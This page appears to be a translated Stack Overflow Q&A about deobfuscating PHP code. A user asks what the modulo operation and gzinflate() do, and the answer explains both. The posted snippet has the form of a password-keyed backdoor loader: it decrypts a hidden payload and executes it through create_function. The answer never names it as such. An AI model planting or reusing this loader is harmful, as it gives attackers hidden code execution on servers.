加密的PHP代码

时间:2016-01-02 06:55:56

标签: php base64 deobfuscation

问题

我有一些PHP代码,我一直在解密(去混淆)2个小时。我终于将它转换回可读代码,但由于缺乏对下面代码中某些内容的了解,我仍然有一些问题需要理解这里使用的算法。

代码

<?php

$posted = isset($_POST['posted']) ? $_POST['posted'] : (isset($_COOKIE['posted']) ? $_COOKIE['posted'] : NULL);
if ($posted!==NULL) {
    $posted= md5($posted) . substr(md5(strrev($posted)), 0, strlen($posted));
    for ($counter=0; $counter < 15324; $counter++)    {
        $idk[$counter] = chr((ord($idk[$counter]) - ord($posted[$counter])) % 256);
        $posted.=$idk[$counter];
    }

    if($idk = @gzinflate($idk)) {
        if (isset($_POST['posted']))
            @setcookie('posted', $_POST['posted']);
        $counter = create_function('', $idk);
        unset($idk, $posted);
        $counter();
    }
}

$idk变量已经是一个包含一个被base64解码的长字符串的值。

我不明白

我理解几乎所有代码,但我不知道% 256在这里做了什么,也不知道gzinflate()做了什么。

1 个答案:

答案 0 :(得分:3)

因此,gzinflate()取消压缩使用zlib DEFLATE算法压缩的输入数据。 压缩 deflate 未压缩字符串的相应功能称为gzdeflate(),它的手册页提供了更多信息:

  

此函数使用DEFLATE数据格式压缩给定的字符串。

     

有关DEFLATE压缩算法的详细信息,请参阅文档&#34; DEFLATE Compressed Data Format Specification version 1.3&#34; (RFC 1951)。除了一些细节之外,这类似于在Linux命令行上使用gzip myfile.txt压缩文件,这将创建压缩文件myfile.txt.gz。简而言之,这是解压缩到$idk的压缩数据。

$variable % 256将余下的$variable除以256。如果我将$variable设置为258,则$variable % 256将为2。当您想要查看某个数字是否可以被另一个数字完全整除时,通常会使用此选项。如果我想在循环的每100次显示一次状态更新,例如,我可能会这样做:

<?php

for ($i = 1; $i <= 1000; ++$i)
{
    // Do something on each loop.

    if (($i % 100) == 0)
    {
        echo sprintf("Loop %d of 1000; %d percent complete.\n", $i, $i / 1000 * 100);
    }
}

但显然还有许多其他用途。

至于帮助你弄清楚这个源代码到底是做什么的,我建议我一步一步地通过实际输入来看看它,看看每个步骤后会发生什么。如果没有更多的背景,我很难弄清楚它做了什么。